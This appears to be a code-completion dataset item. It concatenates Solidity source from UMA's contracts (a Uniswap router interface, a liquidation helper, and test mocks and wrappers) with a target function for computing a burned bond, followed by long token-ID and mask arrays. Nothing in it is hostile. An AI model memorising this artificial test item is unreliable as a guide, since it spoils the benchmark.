uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title ReserveCurrencyLiquidator
* @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of
* financial contracts. Is assumed to be called by a DSProxy which holds reserve currency.
*/
contract ReserveCurrencyLiquidator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to
* liquidate a position within one transaction.
* @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending
* liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has
* passed liveness. At this point the position can be manually unwound.
* @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted.
* These existing tokens will be used first before any swaps or mints are done.
* @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough
* collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param financialContract address of the financial contract on which the liquidation is occurring.
* @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy.
* @param liquidatedSponsor address of the sponsor to be liquidated.
* @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage.
* @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt.
* @param deadline abort the trade and liquidation if the transaction is mined after this timestamp.
**/
function swapMintLiquidate(
address uniswapRouter,
address financialContract,
address reserveCurrency,
address liquidatedSponsor,
FixedPoint.Unsigned calldata maxReserveTokenSpent,
FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
) public {
IFinancialContract fc = IFinancialContract(financialContract);
// 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already
// has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall).
FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc));
// 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics.
FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding());
FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr);
// 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any
// collateral needed to mint the token short fall.
FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall);
// 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this
// will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0.
FixedPoint.Unsigned memory collateralToBePurchased =
subOrZero(totalCollateralRequired, getCollateralBalance(fc));
// 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall.
// Note the path assumes a direct route from the reserve currency to the collateral currency.
if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
address[] memory path = new address[](2);
path[0] = reserveCurrency;
path[1] = fc.collateralCurrency();
TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue);
router.swapTokensForExactTokens(
collateralToBePurchased.rawValue,
maxReserveTokenSpent.rawValue,
path,
address(this),
deadline
);
}
// 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve
// or not enough collateral in the contract) the script should try to liquidate as much as it can regardless.
// Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall
// as the maximum tokens that could be liquidated at the current GCR.
if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) {
totalCollateralRequired = getCollateralBalance(fc);
collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc));
tokenShortfall = collateralToMintShortfall.divCeil(gcr);
}
// 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR.
// If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral
// currency as this is needed to pay the final fee in the liquidation tx.
TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue);
if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall);
// The liquidatableTokens is either the maxTokensToLiquidate (if we were able to buy/mint enough) or the full
// token token balance at this point if there was a shortfall.
FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate;
if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc);
// 6. Liquidate position with newly minted synthetics.
TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue);
fc.createLiquidation(
liquidatedSponsor,
minCollateralPerTokenLiquidated,
maxCollateralPerTokenLiquidated,
liquidatableTokens,
deadline
);
}
// Helper method to work around subtraction overflow in the case of: a - b with b > a.
function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b)
internal
pure
returns (FixedPoint.Unsigned memory)
{
return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b);
}
// Helper method to return the current final fee for a given financial contract instance.
function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency());
}
// Helper method to return the collateral balance of this contract.
function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this)));
}
// Helper method to return the synthetic balance of this contract.
function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this)));
}
}
// Define some simple interfaces for dealing with UMA contracts.
interface IFinancialContract {
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
FixedPoint.Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function positions(address sponsor) external returns (PositionData memory);
function collateralCurrency() external returns (address);
function tokenCurrency() external returns (address);
function finder() external returns (address);
function pfc() external returns (FixedPoint.Unsigned memory);
function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory);
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external;
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
);
}
interface IStore {
function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory);
}
interface IFinder {
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
// Simple contract used to redeem tokens using a DSProxy from an emp.
contract TokenRedeemer {
function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens)
public
returns (FixedPoint.Unsigned memory)
{
IFinancialContract fc = IFinancialContract(financialContractAddress);
TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue);
return fc.redeem(numTokens);
}
}
interface IFinancialContract {
function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn);
function tokenCurrency() external returns (address);
}
/*
MultiRoleTest contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/MultiRole.sol";
// The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes.
contract MultiRoleTest is MultiRole {
function createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] calldata initialMembers
) external {
_createSharedRole(roleId, managingRoleId, initialMembers);
}
function createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) external {
_createExclusiveRole(roleId, managingRoleId, initialMember);
}
// solhint-disable-next-line no-empty-blocks
function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Testable.sol";
// TestableTest is derived from the abstract contract Testable for testing purposes.
contract TestableTest is Testable {
// solhint-disable-next-line no-empty-blocks
constructor(address _timerAddress) public Testable(_timerAddress) {}
function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) {
// solhint-disable-next-line not-rely-on-time
return (getCurrentTime(), now);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/VaultInterface.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Mock for yearn-style vaults for use in tests.
*/
contract VaultMock is VaultInterface {
IERC20 public override token;
uint256 private pricePerFullShare = 0;
constructor(IERC20 _token) public {
token = _token;
}
function getPricePerFullShare() external view override returns (uint256) {
return pricePerFullShare;
}
function setPricePerFullShare(uint256 _pricePerFullShare) external {
pricePerFullShare = _pricePerFullShare;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Interface for Yearn-style vaults.
* @dev This only contains the methods/events that we use in our contracts or offchain infrastructure.
*/
abstract contract VaultInterface {
// Return the underlying token.
function token() external view virtual returns (IERC20);
// Gets the number of return tokens that a "share" of this vault is worth.
function getPricePerFullShare() external view virtual returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Implements only the required ERC20 methods. This contract is used
* test how contracts handle ERC20 contracts that have not implemented `decimals()`
* @dev Mostly copied from Consensys EIP-20 implementation:
* https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol
*/
contract BasicERC20 is IERC20 {
uint256 private constant MAX_UINT256 = 2**256 - 1;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
uint256 private _totalSupply;
constructor(uint256 _initialAmount) public {
balances[msg.sender] = _initialAmount;
_totalSupply = _initialAmount;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public override returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public override returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../ResultComputation.sol";
import "../../../common/implementation/FixedPoint.sol";
// Wraps the library ResultComputation for testing purposes.
contract ResultComputationTest {
using ResultComputation for ResultComputation.Data;
ResultComputation.Data public data;
function wrapAddVote(int256 votePrice, uint256 numberTokens) external {
data.addVote(votePrice, FixedPoint.Unsigned(numberTokens));
}
function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) {
return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold));
}
function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) {
return data.wasVoteCorrect(revealHash);
}
function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) {
return data.getTotalCorrectlyVotedTokens().rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Voting.sol";
import "../../../common/implementation/FixedPoint.sol";
// Test contract used to access internal variables in the Voting contract.
contract VotingTest is Voting {
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
)
public
Voting(
_phaseLength,
_gatPercentage,
_inflationRate,
_rewardsExpirationTimeout,
_votingToken,
_finder,
_timerAddress
)
{}
function getPendingPriceRequestsArray() external view returns (bytes32[] memory) {
return pendingPriceRequests;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract UnsignedFixedPointTest {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeMath for uint256;
function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) {
return FixedPoint.fromUnscaledUint(a).rawValue;
}
function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(b);
}
function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b));
}
function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMin(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMax(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue;
}
function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(b).rawValue;
}
function wrapSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.sub(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(b).rawValue;
}
function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(b).rawValue;
}
function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue;
}
function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(b).rawValue;
}
function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.div(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract SignedFixedPointTest {
using FixedPoint for FixedPoint.Signed;
using FixedPoint for int256;
using SafeMath for int256;
function wrapFromSigned(int256 a) external pure returns (uint256) {
return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue;
}
function wrapFromUnsigned(uint256 a) external pure returns (int256) {
return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue;
}
function wrapFromUnscaledInt(int256 a) external pure returns (int256) {
return FixedPoint.fromUnscaledInt(a).rawValue;
}
function wrapIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b));
}
function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(b);
}
function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b));
}
function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b));
}
function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Signed(b));
}
function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMin(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue;
}
function wrapMax(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue;
}
function wrapAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(b).rawValue;
}
function wrapSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) {
return a.sub(FixedPoint.Signed(b)).rawValue;
}
function wrapMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue;
}
function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(b).rawValue;
}
function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue;
}
function wrapDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue;
}
function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(b).rawValue;
}
function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) {
return a.div(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(int256 a, uint256 b) external pure returns (int256) {
return FixedPoint.Signed(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Simple Perpetual Mock to serve trivial functions
*/
contract PerpetualMock {
struct FundingRate {
FixedPoint.Signed rate;
bytes32 identifier;
FixedPoint.Unsigned cumulativeMultiplier;
uint256 updateTime;
uint256 applicationTime;
uint256 proposalTime;
}
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
FundingRate public fundingRate;
// Interface functions required to be implemented in order for an instance of this contract to be passed into the
// off-chain FinancialContractClient helper module:
FixedPoint.Unsigned public collateralRequirement;
uint256 public liquidationLiveness;
FixedPoint.Unsigned public cumulativeFeeMultiplier;
mapping(address => uint256) public positions;
mapping(address => uint256) public liquidations;
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition();
event LiquidationCreated();
function getCurrentTime() public view returns (uint256) {
return now;
}
// Public methods that are useful for tests:
function setFundingRate(FundingRate memory _fundingRate) external {
fundingRate = _fundingRate;
}
function applyFundingRate() external {
fundingRate.applicationTime = block.timestamp;
// Simplified rate calcualtion.
// multiplier = multiplier * (1 + rate)
fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul(
FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate))
);
}
}
|
burnedBond = floor(bond / 2)
|
function _computeBurnedBond(Request storage request) private view returns (uint256) {
return request.bond.div(2);
}
| 99,347 |
[
1,
70,
321,
329,
9807,
273,
6346,
12,
26425,
342,
576,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
9200,
38,
321,
329,
9807,
12,
691,
2502,
590,
13,
3238,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
590,
18,
26425,
18,
2892,
12,
22,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
